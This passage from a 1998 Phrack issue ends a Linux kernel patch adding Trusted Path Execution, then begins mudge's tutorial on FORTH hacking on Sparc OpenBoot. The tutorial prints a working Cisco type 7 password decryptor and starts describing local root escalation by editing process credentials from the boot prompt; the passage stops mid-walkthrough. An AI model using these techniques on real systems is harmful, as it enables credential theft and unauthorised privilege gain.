+ patch. If not please visit http://www.knm.org.pl/prezes/index.html,
|
|||
|
+ mail the author - Krzysztof G. Baranowski <kgb@manjak.knm.org.pl>,
|
|||
|
+ or write it itself :-). This driver has been written as an enhancement
|
|||
|
+ to route's <route@infonexus.cm> original patch. (a check in do_execve()
|
|||
|
+ in fs/exec.c for trusted directories, ie. root owned and not group/world
|
|||
|
+ writable). This option is useless on a single user machine.
|
|||
|
+ Logging of trusted path execution violation is configurable via /proc
|
|||
|
+ filesystem and turned off by default, to turn it on run you must run:
|
|||
|
+ "echo 1 > /proc/sys/kernel/tpe". To turn it off: "echo 0 > /proc/sys/..."
|
|||
|
+
|
|||
|
Digiboard PC/Xx Support
|
|||
|
CONFIG_DIGI
|
|||
|
This is a driver for the Digiboard PC/Xe, PC/Xi, and PC/Xeve cards
|
|||
|
diff -urN linux-2.0.32/drivers/char/Config.in linux/drivers/char/Config.in
|
|||
|
--- linux-2.0.32/drivers/char/Config.in Tue Aug 12 22:06:54 1997
|
|||
|
+++ linux/drivers/char/Config.in Sat Apr 11 21:30:53 1998
|
|||
|
@@ -5,6 +5,9 @@
|
|||
|
comment 'Character devices'
|
|||
|
|
|||
|
tristate 'Standard/generic serial support' CONFIG_SERIAL
|
|||
|
+if [ "$CONFIG_EXPERIMENTAL" = "y" ]; then
|
|||
|
+ bool 'Trusted Path Execution (EXPERIMENTAL)' CONFIG_TPE
|
|||
|
+fi
|
|||
|
bool 'Digiboard PC/Xx Support' CONFIG_DIGI
|
|||
|
tristate 'Cyclades async mux support' CONFIG_CYCLADES
|
|||
|
bool 'Stallion multiport serial support' CONFIG_STALDRV
|
|||
|
diff -urN linux-2.0.32/drivers/char/Makefile linux/drivers/char/Makefile
|
|||
|
--- linux-2.0.32/drivers/char/Makefile Tue Aug 12 22:06:54 1997
|
|||
|
+++ linux/drivers/char/Makefile Thu Apr 9 15:34:46 1998
|
|||
|
@@ -34,6 +34,10 @@
|
|||
|
endif
|
|||
|
endif
|
|||
|
|
|||
|
+ifeq ($(CONFIG_TPE),y)
|
|||
|
+L_OBJS += tpe.o
|
|||
|
+endif
|
|||
|
+
|
|||
|
ifndef CONFIG_SUN_KEYBOARD
|
|||
|
L_OBJS += keyboard.o defkeymap.o
|
|||
|
endif
|
|||
|
diff -urN linux-2.0.32/drivers/char/tpe.c linux/drivers/char/tpe.c
|
|||
|
--- linux-2.0.32/drivers/char/tpe.c Thu Jan 1 01:00:00 1970
|
|||
|
+++ linux/drivers/char/tpe.c Sat Apr 11 22:06:36 1998
|
|||
|
@@ -0,0 +1,185 @@
|
|||
|
+/*
|
|||
|
+ * tpe.c - tpe driver
|
|||
|
+ *
|
|||
|
+ * Copyright (C) 1998 Krzysztof G. Baranowski. All rights reserved.
|
|||
|
+ *
|
|||
|
+ * This file is part of the Linux TPE Suite and is made available under
|
|||
|
+ * the terms of the GNU General Public License, version 2, or at your
|
|||
|
+ * option, any later version, incorporated herein by reference.
|
|||
|
+ *
|
|||
|
+ *
|
|||
|
+ * Revision history:
|
|||
|
+ *
|
|||
|
+ * Revision 0.01: Thu Apr 6 18:31:55 CEST 1998
|
|||
|
+ * Initial release for alpha testing.
|
|||
|
+ * Revision 0.02: Sat Apr 11 21:32:33 CEST 1998
|
|||
|
+ * Replaced CONFIG_TPE_LOG with sysctl option.
|
|||
|
+ *
|
|||
|
+ */
|
|||
|
+
|
|||
|
+static const char *version = "0.02";
|
|||
|
+
|
|||
|
+#include <linux/version.h>
|
|||
|
+#include <linux/module.h>
|
|||
|
+#include <linux/kernel.h>
|
|||
|
+#include <linux/sched.h>
|
|||
|
+#include <linux/config.h>
|
|||
|
+#include <linux/tpe.h>
|
|||
|
+#include <linux/mm.h>
|
|||
|
+#include <linux/fs.h>
|
|||
|
+
|
|||
|
+static const char *tpe_dev = "tpe";
|
|||
|
+static unsigned int tpe_major = 40;
|
|||
|
+static int tpe_users[MAX_USERS];
|
|||
|
+int tpe_log = 0; /* sysctl boolean */
|
|||
|
+
|
|||
|
+#if 0
|
|||
|
+static void print_report(const char *info)
|
|||
|
+{
|
|||
|
+ int i = 0;
|
|||
|
+
|
|||
|
+ printk("Report: %s\n", info);
|
|||
|
+ while (i < MAX_USERS) {
|
|||
|
+ printk("tpe_users[%d] = %d\n", i, tpe_users[i]);
|
|||
|
+ i++;
|
|||
|
+ }
|
|||
|
+}
|
|||
|
+#endif
|
|||
|
+
|
|||
|
+static int is_on_list(int uid)
|
|||
|
+{
|
|||
|
+ int i;
|
|||
|
+
|
|||
|
+ for (i = 0; i < MAX_USERS; i++) {
|
|||
|
+ if (tpe_users[i] == uid)
|
|||
|
+ return 0;
|
|||
|
+ }
|
|||
|
+ return -1;
|
|||
|
+}
|
|||
|
+
|
|||
|
+int tpe_verify(unsigned short uid, struct inode *d_ino)
|
|||
|
+{
|
|||
|
+ if (((d_ino->i_mode & (S_IWGRP | S_IWOTH)) == 0) && (d_ino->i_uid == 0))
|
|||
|
+ return 0;
|
|||
|
+ if ((is_on_list(uid) == 0) && (d_ino->i_uid == uid) &&
|
|||
|
+ (d_ino->i_mode & (S_IWGRP | S_IWOTH)) == 0)
|
|||
|
+ return 0;
|
|||
|
+
|
|||
|
+ if (tpe_log)
|
|||
|
+ security_alert("Trusted path execution violation");
|
|||
|
+ return -1;
|
|||
|
+}
|
|||
|
+
|
|||
|
+static int tpe_find_entry(int uid)
|
|||
|
+{
|
|||
|
+ int i = 0;
|
|||
|
+
|
|||
|
+ while (tpe_users[i] != uid && i < MAX_USERS)
|
|||
|
+ i++;
|
|||
|
+ if (i >= MAX_USERS)
|
|||
|
+ return -1;
|
|||
|
+ else
|
|||
|
+ return i;
|
|||
|
+}
|
|||
|
+
|
|||
|
+static void tpe_revalidate(void)
|
|||
|
+{
|
|||
|
+ int temp[MAX_USERS];
|
|||
|
+ int i, j = 0;
|
|||
|
+
|
|||
|
+ memset(temp, 0, sizeof(temp));
|
|||
|
+ for (i = 0; i < MAX_USERS; i++) {
|
|||
|
+ if (tpe_users[i] != 0) {
|
|||
|
+ temp[j] = tpe_users[i];
|
|||
|
+ j++;
|
|||
|
+ }
|
|||
|
+ }
|
|||
|
+ memset(tpe_users, 0, sizeof(tpe_users));
|
|||
|
+ memcpy(tpe_users, temp, sizeof(temp));
|
|||
|
+}
|
|||
|
+
|
|||
|
+static int add_entry(int uid)
|
|||
|
+{
|
|||
|
+ int i;
|
|||
|
+
|
|||
|
+ if (uid <= 0)
|
|||
|
+ return -EBADF;
|
|||
|
+ if (!is_on_list(uid))
|
|||
|
+ return -EEXIST;
|
|||
|
+ if ((i = tpe_find_entry(0)) != -1) {
|
|||
|
+ tpe_users[i] = uid;
|
|||
|
+ tpe_revalidate();
|
|||
|
+ return 0;
|
|||
|
+ } else
|
|||
|
+ return -ENOSPC;
|
|||
|
+}
|
|||
|
+
|
|||
|
+static int del_entry(int uid)
|
|||
|
+{
|
|||
|
+ int i;
|
|||
|
+
|
|||
|
+ if (uid <= 0)
|
|||
|
+ return -EBADF;
|
|||
|
+ if (is_on_list(uid))
|
|||
|
+ return -EBADF;
|
|||
|
+ i = tpe_find_entry(uid);
|
|||
|
+ tpe_users[i] = 0;
|
|||
|
+ tpe_revalidate();
|
|||
|
+ return 0;
|
|||
|
+}
|
|||
|
+
|
|||
|
+static int tpe_ioctl(struct inode *inode, struct file *file,
|
|||
|
+ unsigned int cmd, unsigned long arg)
|
|||
|
+{
|
|||
|
+ int argc = (int) arg;
|
|||
|
+ int retval;
|
|||
|
+
|
|||
|
+ if (!suser())
|
|||
|
+ return -EPERM;
|
|||
|
+ switch (cmd) {
|
|||
|
+ case TPE_SCSETENT:
|
|||
|
+ retval = add_entry(argc);
|
|||
|
+ return retval;
|
|||
|
+ case TPE_SCDELENT:
|
|||
|
+ retval = del_entry(argc);
|
|||
|
+ return retval;
|
|||
|
+ case TPE_SCGETENT:
|
|||
|
+ return tpe_users[argc];
|
|||
|
+ default:
|
|||
|
+ return -EINVAL;
|
|||
|
+ }
|
|||
|
+}
|
|||
|
+
|
|||
|
+static int tpe_open(struct inode *inode, struct file *file)
|
|||
|
+{
|
|||
|
+ return 0;
|
|||
|
+}
|
|||
|
+
|
|||
|
+static void tpe_close(struct inode *inode, struct file *file)
|
|||
|
+{
|
|||
|
+ /* dummy */
|
|||
|
+}
|
|||
|
+
|
|||
|
+static struct file_operations tpe_fops = {
|
|||
|
+ NULL, /* llseek */
|
|||
|
+ NULL, /* read */
|
|||
|
+ NULL, /* write */
|
|||
|
+ NULL, /* readdir */
|
|||
|
+ NULL, /* select */
|
|||
|
+ tpe_ioctl, /* ioctl*/
|
|||
|
+ NULL, /* mmap */
|
|||
|
+ tpe_open, /* open */
|
|||
|
+ tpe_close, /* release */
|
|||
|
+};
|
|||
|
+
|
|||
|
+int tpe_init(void)
|
|||
|
+{
|
|||
|
+ int result;
|
|||
|
+
|
|||
|
+ tpe_revalidate();
|
|||
|
+ if ((result = register_chrdev(tpe_major, tpe_dev, &tpe_fops)) != 0)
|
|||
|
+ return result;
|
|||
|
+ printk(KERN_INFO "TPE %s subsystem initialized... "
|
|||
|
+ "(C) 1998 Krzysztof G. Baranowski\n", version);
|
|||
|
+ return 0;
|
|||
|
+}
|
|||
|
diff -urN linux-2.0.32/drivers/char/tty_io.c linux/drivers/char/tty_io.c
|
|||
|
--- linux-2.0.32/drivers/char/tty_io.c Tue Sep 16 18:36:49 1997
|
|||
|
+++ linux/drivers/char/tty_io.c Thu Apr 9 15:34:46 1998
|
|||
|
@@ -2030,6 +2030,9 @@
|
|||
|
#ifdef CONFIG_SERIAL
|
|||
|
rs_init();
|
|||
|
#endif
|
|||
|
+#ifdef CONFIG_TPE
|
|||
|
+ tpe_init();
|
|||
|
+#endif
|
|||
|
#ifdef CONFIG_SCC
|
|||
|
scc_init();
|
|||
|
#endif
|
|||
|
diff -urN linux-2.0.32/fs/exec.c linux/fs/exec.c
|
|||
|
--- linux-2.0.32/fs/exec.c Fri Nov 7 18:57:30 1997
|
|||
|
+++ linux/fs/exec.c Fri Apr 10 14:02:02 1998
|
|||
|
@@ -47,6 +47,11 @@
|
|||
|
#ifdef CONFIG_KERNELD
|
|||
|
#include <linux/kerneld.h>
|
|||
|
#endif
|
|||
|
+#ifdef CONFIG_TPE
|
|||
|
+extern int tpe_verify(unsigned short uid, struct inode *d_ino);
|
|||
|
+extern int dir_namei(const char *pathname, int *namelen, const char **name,
|
|||
|
+ struct inode *base, struct inode **res_inode);
|
|||
|
+#endif
|
|||
|
|
|||
|
asmlinkage int sys_exit(int exit_code);
|
|||
|
asmlinkage int sys_brk(unsigned long);
|
|||
|
@@ -652,12 +657,29 @@
|
|||
|
int do_execve(char * filename, char ** argv, char ** envp, struct pt_regs * regs)
|
|||
|
{
|
|||
|
struct linux_binprm bprm;
|
|||
|
+ struct inode *dir;
|
|||
|
+ const char *basename;
|
|||
|
+ int namelen;
|
|||
|
+
|
|||
|
int retval;
|
|||
|
int i;
|
|||
|
|
|||
|
bprm.p = PAGE_SIZE*MAX_ARG_PAGES-sizeof(void *);
|
|||
|
for (i=0 ; i<MAX_ARG_PAGES ; i++) /* clear page-table */
|
|||
|
bprm.page[i] = 0;
|
|||
|
+
|
|||
|
+#ifdef CONFIG_TPE
|
|||
|
+ /* Check to make sure the path is trusted. If the directory is root
|
|||
|
+ * owned and not group/world writable, it's trusted. Otherwise,
|
|||
|
+ * return -EACCES and optionally log it
|
|||
|
+ */
|
|||
|
+ if (!suser()) {
|
|||
|
+ dir_namei(filename, &namelen, &basename, NULL, &dir);
|
|||
|
+ if (tpe_verify(current->uid, dir))
|
|||
|
+ return -EACCES;
|
|||
|
+ }
|
|||
|
+#endif /* CONFIG_TPE */
|
|||
|
+
|
|||
|
retval = open_namei(filename, 0, 0, &bprm.inode, NULL);
|
|||
|
if (retval)
|
|||
|
return retval;
|
|||
|
diff -urN linux-2.0.32/fs/namei.c linux/fs/namei.c
|
|||
|
--- linux-2.0.32/fs/namei.c Sun Aug 17 01:23:19 1997
|
|||
|
+++ linux/fs/namei.c Thu Apr 9 15:34:46 1998
|
|||
|
@@ -216,8 +216,13 @@
|
|||
|
* dir_namei() returns the inode of the directory of the
|
|||
|
* specified name, and the name within that directory.
|
|||
|
*/
|
|||
|
+#ifdef CONFIG_TPE
|
|||
|
+int dir_namei(const char *pathname, int *namelen, const char **name,
|
|||
|
+ struct inode * base, struct inode **res_inode)
|
|||
|
+#else
|
|||
|
static int dir_namei(const char *pathname, int *namelen, const char **name,
|
|||
|
struct inode * base, struct inode **res_inode)
|
|||
|
+#endif /* CONFIG_TPE */
|
|||
|
{
|
|||
|
char c;
|
|||
|
const char * thisname;
|
|||
|
diff -urN linux-2.0.32/include/linux/sysctl.h linux/include/linux/sysctl.h
|
|||
|
--- linux-2.0.32/include/linux/sysctl.h Tue Aug 12 23:06:35 1997
|
|||
|
+++ linux/include/linux/sysctl.h Sat Apr 11 22:04:13 1998
|
|||
|
@@ -61,6 +61,7 @@
|
|||
|
#define KERN_NFSRADDRS 18 /* NFS root addresses */
|
|||
|
#define KERN_JAVA_INTERPRETER 19 /* path to Java(tm) interpreter */
|
|||
|
#define KERN_JAVA_APPLETVIEWER 20 /* path to Java(tm) appletviewer */
|
|||
|
+#define KERN_TPE 21 /* TPE logging */
|
|||
|
|
|||
|
/* CTL_VM names: */
|
|||
|
#define VM_SWAPCTL 1 /* struct: Set vm swapping control */
|
|||
|
diff -urN linux-2.0.32/include/linux/tpe.h linux/include/linux/tpe.h
|
|||
|
--- linux-2.0.32/include/linux/tpe.h Thu Jan 1 01:00:00 1970
|
|||
|
+++ linux/include/linux/tpe.h Thu Apr 9 15:34:46 1998
|
|||
|
@@ -0,0 +1,47 @@
|
|||
|
+/*
|
|||
|
+ * tpe.h - misc common stuff
|
|||
|
+ *
|
|||
|
+ * Copyright (C) 1998 Krzysztof G. Baranowski. All rights reserved.
|
|||
|
+ *
|
|||
|
+ * This file is part of the Linux TPE Suite and is made available under
|
|||
|
+ * the terms of the GNU General Public License, version 2, or at your
|
|||
|
+ * option, any later version, incorporated herein by reference.
|
|||
|
+ *
|
|||
|
+ */
|
|||
|
+
|
|||
|
+#ifndef __TPE_H__
|
|||
|
+#define __TPE_H__
|
|||
|
+
|
|||
|
+#ifdef __KERNEL__
|
|||
|
+/* Taken from Solar Designers' <solar@false.com> non executable stack patch */
|
|||
|
+#define security_alert(msg) { \
|
|||
|
+ static unsigned long warning_time = 0, no_flood_yet = 0; \
|
|||
|
+\
|
|||
|
+/* Make sure at least one minute passed since the last warning logged */ \
|
|||
|
+ if (!warning_time || jiffies - warning_time > 60 * HZ) { \
|
|||
|
+ warning_time = jiffies; no_flood_yet = 1; \
|
|||
|
+ printk( \
|
|||
|
+ KERN_ALERT \
|
|||
|
+ "Possible " msg " exploit attempt:\n" \
|
|||
|
+ KERN_ALERT \
|
|||
|
+ "Process %s (pid %d, uid %d, euid %d).\n", \
|
|||
|
+ current->comm, current->pid, \
|
|||
|
+ current->uid, current->euid); \
|
|||
|
+ } else if (no_flood_yet) { \
|
|||
|
+ warning_time = jiffies; no_flood_yet = 0; \
|
|||
|
+ printk( \
|
|||
|
+ KERN_ALERT \
|
|||
|
+ "More possible " msg " exploit attempts follow.\n"); \
|
|||
|
+ } \
|
|||
|
+}
|
|||
|
+#endif /* __KERNEL__ */
|
|||
|
+
|
|||
|
+/* size of tpe_users array */
|
|||
|
+#define MAX_USERS 32
|
|||
|
+
|
|||
|
+/* ioctl */
|
|||
|
+#define TPE_SCSETENT 0x3137
|
|||
|
+#define TPE_SCDELENT 0x3138
|
|||
|
+#define TPE_SCGETENT 0x3139
|
|||
|
+
|
|||
|
+#endif /* __TPE_H__ */
|
|||
|
diff -urN linux-2.0.32/include/linux/tty.h linux/include/linux/tty.h
|
|||
|
--- linux-2.0.32/include/linux/tty.h Tue Nov 18 20:46:44 1997
|
|||
|
+++ linux/include/linux/tty.h Sat Apr 11 21:45:20 1998
|
|||
|
@@ -283,6 +283,7 @@
|
|||
|
extern unsigned long con_init(unsigned long);
|
|||
|
|
|||
|
extern int rs_init(void);
|
|||
|
+extern int tpe_init(void);
|
|||
|
extern int lp_init(void);
|
|||
|
extern int pty_init(void);
|
|||
|
extern int tty_init(void);
|
|||
|
diff -urN linux-2.0.32/kernel/sysctl.c linux/kernel/sysctl.c
|
|||
|
--- linux-2.0.32/kernel/sysctl.c Thu Aug 14 00:02:42 1997
|
|||
|
+++ linux/kernel/sysctl.c Sat Apr 11 21:40:03 1998
|
|||
|
@@ -26,6 +26,9 @@
|
|||
|
/* External variables not in a header file. */
|
|||
|
extern int panic_timeout;
|
|||
|
|
|||
|
+#ifdef CONFIG_TPE
|
|||
|
+extern int tpe_log;
|
|||
|
+#endif
|
|||
|
|
|||
|
#ifdef CONFIG_ROOT_NFS
|
|||
|
#include <linux/nfs_fs.h>
|
|||
|
@@ -147,6 +150,10 @@
|
|||
|
64, 0644, NULL, &proc_dostring, &sysctl_string },
|
|||
|
{KERN_JAVA_APPLETVIEWER, "java-appletviewer", binfmt_java_appletviewer,
|
|||
|
64, 0644, NULL, &proc_dostring, &sysctl_string },
|
|||
|
+#endif
|
|||
|
+#ifdef CONFIG_TPE
|
|||
|
+ {KERN_TPE, "tpe", &tpe_log, sizeof(int),
|
|||
|
+ 0644, NULL, &proc_dointvec},
|
|||
|
#endif
|
|||
|
{0}
|
|||
|
};
|
|||
|
<-->
|
|||
|
|
|||
|
----[ EOF
|
|||
|
|
|||
|
---[ Phrack Magazine Volume 8, Issue 53 July 8, 1998, article 09 of 15
|
|||
|
|
|||
|
|
|||
|
-------------------------[ FORTH Hacking on Sparc Hardware
|
|||
|
|
|||
|
|
|||
|
--------[ mudge <mudge@l0pht.com>
|
|||
|
|
|||
|
|
|||
|
L0pht Heavy Industries
|
|||
|
[ http://www.L0pht.com ]
|
|||
|
presents
|
|||
|
|
|||
|
FORTH Hacking on Sparc Hardware
|
|||
|
mudge@l0pht.com
|
|||
|
|
|||
|
|
|||
|
[Disclaimer - you can really mess up your system by mucking about with
|
|||
|
the information below if done incorrectly. Neither The L0pht, nor
|
|||
|
the author, take any accountability for mis-use of this information.
|
|||
|
Caution: Contents under pressure! ]
|
|||
|
|
|||
|
So here it is, about 12:45am on a Monday morning. SpaceRogue from the l0pht
|
|||
|
just finished kicking my ass at darts the entire night although I managed to
|
|||
|
enjoy myself anyway due to a plethora of Guinness. Route has been breathing
|
|||
|
down my neck for an article for PHRACK and since the one I proposed to him
|
|||
|
last time we both deemed as completely morally irresponsible (after all, we
|
|||
|
like it that the Internet works on a _somewhat_ consistent basis), I find
|
|||
|
myself dredging up bizarre tricks and knickknacks that I've been playing with.
|
|||
|
|
|||
|
FORTH. Well, I could say it's the wave of the future but is has been around
|
|||
|
a long time and doesn't seem to be gaining tremendous popularity. However, it
|
|||
|
turns out that it is an incredibly interesting programming language that,
|
|||
|
whether you know it or not, plays a very key roll in some of our favorite
|
|||
|
hardware. Sun Microsystems uses forth for their OpenBoot implementation.
|
|||
|
What this means is that when you power on anything from an old Sun 3/60 that
|
|||
|
is based off of the Motorola 680X0 to an UltraSparc Server based off of the
|
|||
|
UltraSparc 64 bit processor, the hardware and initial bootstrapping code is
|
|||
|
handled by a FORTH interpreter.
|
|||
|
|
|||
|
For a long time it was infrequent that a hacker would actually be able to lay
|
|||
|
their hands, legitimately, on a piece of Sun hardware and play with the
|
|||
|
OpenBoot prom. Nowadays I have watched companies throw out older Sun 2's,
|
|||
|
Sun 3's and even Sparc ELC and IPC's in large quantities. Frequenting your
|
|||
|
local Ham Radio or Tech flea markets can usually yield an older Sun system for
|
|||
|
extremely short cash. Then again, if you work around them you have "free"
|
|||
|
access to play with the hardware and sometimes that's what the game is all
|
|||
|
about.
|
|||
|
|
|||
|
As it turns out I happen to have a Sparc at home, at the l0pht, and at work.
|
|||
|
The first two were trash picked and the third is just due to the fact that
|
|||
|
I stopped flipping burgers and decided to make the same amount of money
|
|||
|
doing something I'm more interested in (grin). Yes, there are plenty of holes
|
|||
|
still around in Solaris, SunOS, and the other operating systems that run on
|
|||
|
the Sparc architecture (such as NeXTSTEP and the *BSD's) but it's always fun
|
|||
|
to see how the system starts up as almost nobody seems to think about security
|
|||
|
at that point. In this article we will start by writing a simple program to
|
|||
|
turn the LED light on the hardware on and off. We will then write a cisco
|
|||
|
type 7 password decryptor for Pforth - which is a FORTH interpreter written
|
|||
|
for the 3Com PalmPilot PDA. At that point I will show how to change the
|
|||
|
credential structure of a running process to 0 (root).
|
|||
|
|
|||
|
FORTH is a very simple, yet powerful language. It is tremendously small and
|
|||
|
compact which lends it extremely well to embedded systems. This is one of the
|
|||
|
main reasons that the bootstrapping of hardware and software on Suns is done
|
|||
|
in FORTH. If you have ever used a scientific, or often referred to as "Reverse
|
|||
|
Polish Notation", calculator then you understand the stack based premise
|
|||
|
behind FORTH.
|
|||
|
|
|||
|
[elapsed time 1.5 weeks]
|
|||
|
|
|||
|
EEEKS! So I'm rummaging through some of my files and find that I've been
|
|||
|
neglect in my duties of finishing this article... One moment, one more glass
|
|||
|
of port (it's always good to move on to port after a few beers...). Ahh. Ok,
|
|||
|
on to some basic Forth examples to get everybody in the right mindset. Let's
|
|||
|
try the old standard of 2+3.
|
|||
|
|
|||
|
In stack based notation this is expressed as 2 3 +. Think of every element
|
|||
|
being pushed onto the stack and then operands dealing with the top layers in
|
|||
|
reverse order. Thus, 2 pushes the number 2 on the stack, 3 pushes the number
|
|||
|
3 on the stack, and + says take the top two numbers off of the stack and
|
|||
|
push the result on to the stack in their place [diagram 1].
|
|||
|
|
|||
|
[diagram 1]
|
|||
|
|
|||
|
2 3 +
|
|||
|
|
|||
|
--- --- ---
|
|||
|
| 2 | | 3 | | 5 |
|
|||
|
--- |---| ---
|
|||
|
| 2 |
|
|||
|
---
|
|||
|
|
|||
|
[note: to pop the top of the stack and display it on the screen type '.']
|
|||
|
|
|||
|
|
|||
|
Simple? You bet. Try it out on your favorite piece of Sun hardware. L1-A
|
|||
|
(the L1 key might be labeled 'Stop') give the following a shot:
|
|||
|
|
|||
|
<++> EX/4th/blink.4
|
|||
|
ok :light-on
|
|||
|
1 aux@ or aux! ;
|
|||
|
ok :light-off
|
|||
|
1 invert aux@ and aux! ;
|
|||
|
ok
|
|||
|
<-->
|
|||
|
|
|||
|
Now when you type light-on, the led on the front of the Sparc turns on.
|
|||
|
Conversely, light-off turns the led off. On installations with OpenBoot 3.x
|
|||
|
I believe this is a built in FORTH word as led-on and led-off. Older versions
|
|||
|
of OpenBoot don't have this built in word - but now you can add it.
|
|||
|
|
|||
|
Here's what all of the above actually means -
|
|||
|
:light-on - this marks the beginning of a new word definition which ends
|
|||
|
when a semi-colon is seen.
|
|||
|
1 - pushes 1 on the stack.
|
|||
|
aux@ - takes the value stored in the aux register and pushes it
|
|||
|
onto the stack.
|
|||
|
or - takes the top two values from the stack, OR's them and leaves
|
|||
|
the result in their place.
|
|||
|
aux! - takes the value on the top of the stack and writes it to the
|
|||
|
aux register.
|
|||
|
; - ends the word definition.
|
|||
|
|
|||
|
:light-off - this marks the beginning of a new word definition which ends
|
|||
|
when a semi-colon is seen.
|
|||
|
1 - pushes 1 on the stack.
|
|||
|
invert - inverts the bits or the value on the top of the stack
|
|||
|
aux@ - takes the value stored in the aux register and pushes it
|
|||
|
onto the stack.
|
|||
|
and - takes the top two values from the stack, AND's them and leaves
|
|||
|
the result in their place.
|
|||
|
aux! - takes the value on the top of the stack and writes it to the
|
|||
|
aux register.
|
|||
|
; - ends the word definition.
|
|||
|
|
|||
|
[note - you can see the disassembly of the led-on / led-off words, if they
|
|||
|
are in your openboot with ' ok led-on (see)' ]
|
|||
|
|
|||
|
----
|
|||
|
|
|||
|
The PalmPilot is a rockin' little PDA based off of the Motorola 68328
|
|||
|
(DragonBall) processor. At the L0pht we all went out and picked up PalmPilots
|
|||
|
as soon as we saw all of the wonderful unused features of the Motorola
|
|||
|
processor in it. Ahhhh, taking us back to similar feelings of messing about in
|
|||
|
the 6502.
|
|||
|
|
|||
|
PForth is a bit different from the OpenBoot forth implementation in some minor
|
|||
|
ways - most notably in the default input bases and how words such as 'abort'
|
|||
|
are handled. I figured a little app for the Pilot in FORTH might help people
|
|||
|
see the usefulness of the language on other devices than the Sun firmware.
|
|||
|
The porting of this to work in an OpenBoot environment is left as an exercise
|
|||
|
to the reader.
|
|||
|
|
|||
|
The cisco type 7 password decryptor is a bit more complex than the led-on /
|
|||
|
light-on example above [see the book references at the end of this article for
|
|||
|
a much more thorough explanation of the FORTH language].
|
|||
|
|
|||
|
--begin cisco decryptor--
|
|||
|
<++> EX/4th/cisco_decryptor.4
|
|||
|
\ cisco-decrypt
|
|||
|
|
|||
|
include string
|
|||
|
( argh! We cannot _create_ the )
|
|||
|
( constant array as P4th dies )
|
|||
|
( around the 12th byte - )
|
|||
|
( thus the ugliness of setting it )
|
|||
|
( up in :main .mudge)
|
|||
|
|
|||
|
variable ciscofoo 40 allot
|
|||
|
variable encpw 60 allot
|
|||
|
variable decpw 60 allot
|
|||
|
variable strlen
|
|||
|
variable seed
|
|||
|
variable holder
|
|||
|
|
|||
|
:toupper ( char -- char )
|
|||
|
dup dup 96 > rot 123 < and if
|
|||
|
32 -
|
|||
|
then ;
|
|||
|
|
|||
|
:ishexdigit ( char -- f )
|
|||
|
dup dup 47 > rot 58 < and if
|
|||
|
drop - 1
|
|||
|
else
|
|||
|
dup dup 64 > 71 < and if
|
|||
|
drop - 1
|
|||
|
else
|
|||
|
drop 0 then then ;
|
|||
|
|
|||
|
:chartonum ( char -- i )
|
|||
|
toupper
|
|||
|
dup ishexdigit 0= if
|
|||
|
abort" contains invalid char "
|
|||
|
then
|
|||
|
dup
|
|||
|
58 < if
|
|||
|
48 -
|
|||
|
else
|
|||
|
55 -
|
|||
|
then ;
|
|||
|
|
|||
|
:main
|
|||
|
100 ciscofoo 0 + C!
|
|||
|
115 ciscofoo 1 + C!
|
|||
|
102 ciscofoo 2 + C!
|
|||
|
100 ciscofoo 3 + C!
|
|||
|
59 ciscofoo 4 + C!
|
|||
|
107 ciscofoo 5 + C!
|
|||
|
115 ciscofoo 6 + C!
|
|||
|
111 ciscofoo 7 + C!
|
|||
|
65 ciscofoo 8 + C!
|
|||
|
44 ciscofoo 9 + C!
|
|||
|
46 ciscofoo 10 + C!
|
|||
|
105 ciscofoo 11 + C!
|
|||
|
121 ciscofoo 12 + C!
|
|||
|
101 ciscofoo 13 + C!
|
|||
|
119 ciscofoo 14 + C!
|
|||
|
114 ciscofoo 15 + C!
|
|||
|
107 ciscofoo 16 + C!
|
|||
|
108 ciscofoo 17 + C!
|
|||
|
100 ciscofoo 18 + C!
|
|||
|
74 ciscofoo 19 + C!
|
|||
|
75 ciscofoo 20 + C!
|
|||
|
68 ciscofoo 21 + C!
|
|||
|
|
|||
|
32 word count (addr + 1, strlen )
|
|||
|
strlen!
|
|||
|
|
|||
|
encpw strlen @ cmove> drop
|
|||
|
|
|||
|
cr
|
|||
|
|
|||
|
( make sure the string is > 3 chars )
|
|||
|
strlen @ 4 < if abort" short input"
|
|||
|
then
|
|||
|
|
|||
|
strlen @ 2 mod ( valid encpw's )
|
|||
|
( must have even number of chars )
|
|||
|
0= 0= if abort" odd input" then
|
|||
|
|
|||
|
encpw C@ 48 - 10 *
|
|||
|
encpw 1 + C@ 48 - + seed!
|
|||
|
|
|||
|
seed @ 15 > if abort" incalid seed"
|
|||
|
then
|
|||
|
|
|||
|
0 holder !
|
|||
|
|
|||
|
strlen @ 1 + 2 do
|
|||
|
i 2 = 0= i 2 mod 0= and if
|
|||
|
holder @ ciscofoo seed @ + C@ xor
|
|||
|
emit
|
|||
|
seed @ 1 + seed !
|
|||
|
0 holder !
|
|||
|
i strlen @ = if
|
|||
|
cr quit then
|
|||
|
then
|
|||
|
|
|||
|
i 2 mod 0= if
|
|||
|
encpw i + C@ chartonum 16 *
|
|||
|
holder !
|
|||
|
else
|
|||
|
encpw i + C@ chartonum holder @ +
|
|||
|
holder !
|
|||
|
then
|
|||
|
|
|||
|
loop ;
|
|||
|
<-->
|
|||
|
|
|||
|
--end cisco decryptor--
|
|||
|
|
|||
|
Ok - after that brief little excursion we return to the Sparc hardware.
|
|||
|
|
|||
|
So, how can this information be used from a more traditional hacking
|
|||
|
standpoint? Let's say you are sitting in front of a nice system running
|
|||
|
Solaris but for whatever reason you only have an unprivileged account. Since
|
|||
|
there is not any setup in the hardware to delineate different users and their
|
|||
|
ability to access memory (well, not in the way you think about it inside of
|
|||
|
Unix processes) you really have free roam of the system.
|
|||
|
|
|||
|
Each process is allocated a structure defining various aspects about itself.
|
|||
|
This is needed when processes are swapped out and in to memory. As a regular
|
|||
|
user you really aren't allowed to muck about in this structure but a quick
|
|||
|
L1-A will get us around all of that. Peeking into /usr/include/sys/proc.h
|
|||
|
shows that what we are really after is the process credentials structure.
|
|||
|
This is located after a pointer to a vnode, a pointer to the process address
|
|||
|
space, and two mutex locks. At that point there is a pointer to a cred struct
|
|||
|
which has the process credentials. Inside the process credentials structure
|
|||
|
you find :
|
|||
|
|
|||
|
reference count (long)
|
|||
|
effective user id (short)
|
|||
|
effective group id (short)
|
|||
|
real user id (short)
|
|||
|
real group id (short)
|
|||
|
"saved" user id (short)
|
|||
|
"saved" group id (short)
|
|||
|
etc...
|
|||
|
|
|||
|
Eyes lighting up yet? All of these variables are accessible when you are at
|
|||
|
the command prompt. The first thing that you need to figure out is the start
|
|||
|
of the proc structure for a given process ID (PID). Let's assume I have a
|
|||
|
shell running (tcsh in this case). In tcsh and csh the PID of the shell is
|
|||
|
stored in $$.
|
|||
|
|
|||
|
Alliant+ ps -eaff | grep $$
|
|||
